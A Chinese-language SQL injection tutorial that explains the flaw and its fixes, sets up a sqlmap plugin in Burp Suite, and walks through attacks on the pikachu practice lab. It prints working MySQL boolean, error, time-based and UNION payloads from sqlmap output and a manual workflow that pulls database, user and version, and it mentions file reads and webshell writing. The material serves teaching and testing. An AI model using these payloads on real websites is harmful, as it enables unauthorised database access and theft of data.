SQL注入的原理和基础知识
1、sql注入漏洞介绍
web程序代码中对于用户提交的参数未作过滤就直接放到SQL语句中执行,导致参数中的特殊字符打破了SQL语句原有逻辑,黑客可以利用该漏洞执行任意SQL语句,如查询数据、下载数据、写入webshell、执行系统命令以及绕过登录限制等。
测试方法:在发现有可控参数的地方使用sqlmap
进行SQL注入的检测或利用,也可以使用其他的SQL注入工具,如burpsuite的sqlmap插件
;简单点的可以手工测试,利用单引号、and 1=1 and 1=2以及字符型注入进行判断。
修复方案:代码层防御sql注入,采用sql语句预编译和绑定变量是防御sql注入的最佳方法。
- 所有的查询语句都使用数据库提供的参数化查询接口,参数化的语句使用参数而不是将用户输入变量嵌入到SQL语句中,当前几乎所有的数据库系统都提供了参数化SQL语句执行接口。
- 对进入数据库的特殊字符
'<>&*;
等进行转义或者编码转换。 - 确认每种数据的类型,比如数字型的数据就必须是数字,存储字段必须对应int型。
- 数据长度应该严格规定,能在一定程度上防止比较长的SQL注入语句
- 网站的每个数据层的编码统一,建议全部使用URF-8编码,上下层编码不一致有可能导致一些过滤模型被绕过。
- 严格限制网站用户的数据库操作权限,给用户提供仅仅能够满足其工作的权限,从而减少注入攻击。
- 避免网站显示 SQL 错误信息,比如类型错误、字段不匹配等,防止攻 击者利用这些错误信息进行一些判断。
2、burp suite配置sqlmap插件
- 打开burpsuite =》Extender =》 BApp store =》 CO2 安装
- 点击intruder=》positions=》右键=》send to Repeater
- 打开到Repeater =》 右键 send to SQLMapper
- 点击config =》选择sqlmap的文件目录的sqlmap.py =》 选择python目录的python.exe
这样就好了,然后进行测试
- 开启监听,火狐浏览器设置代理,打开靶场
- 点击要测试注入的地方,进行查询请求,抓到查询的包
- 右键发送到sqlmapper
- 选择数据库类型为
MySQL
,可以不选 - 点击
run
- 一些地方需要确认,输入
y
最后输出这些可注入点
sqlmap identified the following injection point(s) with a total of 3766 HTTP(s) requests:
---
Parameter: name (GET)
Type: boolean-based blind # 盲注入
Title: MySQL RLIKE boolean-based blind - WHERE, HAVING, ORDER BY or GROUP BY clause
Payload: name=1' RLIKE (SELECT (CASE WHEN (8339=8339) THEN 1 ELSE 0x28 END))-- KHUY&submit=%E6%9F%A5%E8%AF%A2
Type: error-based # 报错注入
Title: MySQL >= 5.6 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (GTID_SUBSET)
Payload: name=1' AND GTID_SUBSET(CONCAT(0x717a627671,(SELECT (ELT(4169=4169,1))),0x71787a6b71),4169)-- Azck&submit=%E6%9F%A5%E8%AF%A2
Type: time-based blind # 时间注入
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: name=1' AND (SELECT 1161 FROM (SELECT(SLEEP(5)))CrHF)-- kety&submit=%E6%9F%A5%E8%AF%A2
Type: UNION query #联合注入
Title: MySQL UNION query (NULL) - 2 columns
Payload: name=1' UNION ALL SELECT NULL,CONCAT(0x717a627671,0x52485251694e41775a654759665575584642687a6151684e704b556e696f784d5071437446675141,0x71787a6b71)#&submit=%E6%9F%A5%E8%AF%A2
---
3、MySQL 中的 infomation_schema
在 mysql5 版本以后,mysql 默认在数据库中存放一个叫infomation_schema的库,,它提供了数据库元数据的访问方式,元数据是关于数据的数据,如数据库名或表名,列的数据类型,或访问权限等。
这个库里面有很多表 重点是这三个表
- SCHEMATA 表:当前 mysql 实例中所有数据库的信息。
SHOW DATABASES;
命令从这个表获取数据。 - tables表:存储数据库中的表信息(包括视图),包括表属于哪个数据库,表的类型、存储引擎、创建时间等信息。
SHOW TABLES FROM XX;
命令从这个表获取结果。 - columns 表:存储表中的列信息,包括表有多少列、每个列的类型等。
SHOW COLUMNS FROM schemaname.tablename
命令从这个表获取结果。
4、SQL注入原理
SQL注入漏洞的产生需要满足以下两个条件:
- 参数用户可控:从前端传给后端的参数内容是用户可以控制的
- 参数带入数据库查询:传入的参数拼接到 SQL 语句,且带入数据库查询
5、判断是否存在注入
在提交查询的地方,加个符号,假设有这个样子的sql语句查询select * from users where id = ?
这个?
是前端传递过来拼接的,我们在前端提交的地方提交一个1'
,会拼接到sql语句中,这个时候执行,就会报错,会返回sql查询语法错误,这样就知道我们的参数是没有进行过滤就直接拼接到sql语句中,就是看你存在注入的,这样就称为有回显。
其他构造语句,比如and 1=1
或者and 1 = 2
输入一些特定查询语句页面有数据 信息返回称之为回显,,无回显是指 根据输入的语句 页面没有任何变化,或者没有数据库中的内容显示到网页中。
无回显的时候可以通过其他方法测试是否存在注入。
6、 三种sql注释符
一些时候可以通过注释来改变sql语句,来完成SQL注入
#
:单行注释-- 空格
:单行注释/* */
:多行注入/**/
常用来做空格
7、注入流程
- 判断是否存在注入并且判断注入类型
- 判断字段数
order by
- 确定回显点
union select 1,2
- 查询数据库信息
@@version
、@@datadir
- 查询用户名,数据库名
user()
、database()
- 文件读取
union select 1
、load_file(url)
- 写入webshell
使用sql注入遇到转义字符的单引号或者双引号,可以使用HEX
编码绕过。
8、注入分类
按 SQLMap 中的分类来看,SQL 注入类型有以下 5 种:
- UNION query SQL injection(可联合查询注入)
- Stacked queries SQL injection(可多语句查询注入)堆叠查询
- Boolean-based blind SQL injection ( 布尔型注入)
- Error-based SQL injection(报错型注入)
- Time-based blind SQL injection(基于时间延迟注入)
按请求类型分类:
- GET注入:GET 请求的参数是放在 URL 里的,GET 请求的 URL 传参有长度限制 中文需要URL编码
- POST注入:POST 请求参数是放在请求 body 里的,长度没有限制
- COOKIE 注入:cookie 参数放在请求头信息,提交的时候 服务器会从请求头获取
按注入数据类型区分:
- int:整型
select * from users where id=1
- string:字符型
select * from users where username='admin'
- like:搜索型
select * from news where title like '%标题%'
9、SQL 注入常规利用思路
- 寻找注入点,可以通过web扫描器实现
- 通过注入点,尝试获取关于连接数据库用户名、数据库名称、用户权限、操作系统信息、数据库版本等信息
- 猜解关键数据库表及其重要字段与内容(如存放管理员账号的表名、字段名等信息)、还可以获取数据库的root账号-密码一思路
- 可以通过获得的用户信息,找后台登录
- 利用后台或了解的进一步信息
10、手工注入常规思路
- 判断是否存在注入,注入的类型
- 猜解SQL查询语句中的字段数 order by N
- 确定显示的字段顺序
- 获取当前数据库
- 获取数据库中的表
- 获取表中的字段名
- 查询到账户的数据
具体构建流程:
# 假设有一条请求链接为 /sqli/sqli_str.php?name=vince&submit=查询
# 第一步判断是否有注入点,构建sql语句
/sqli/sqli_str.php?name=vince' and 1=1 %23 &submit=查询
# 返回之后和原来的一样,再次尝试
/sqli/sqli_str.php?name=vince' and 1=2 %23 &submit=查询
# 返回的不一样,判断可以注入,然后判断字段数是多少
/sqli/sqli_str.php?name=vince' order by 2 %23 &submit=查询
# 发现有两个字段,获取敏感信息 ps:0x3a是‘:’
/sqli/sqli_str.php?name=vince' union select 1,group_concat(database(),0x3a, user(), 0x3a,version()) %23 &submit=查询
# pikachu:root@localhost:5.7.33-0ubuntu0.16.04.1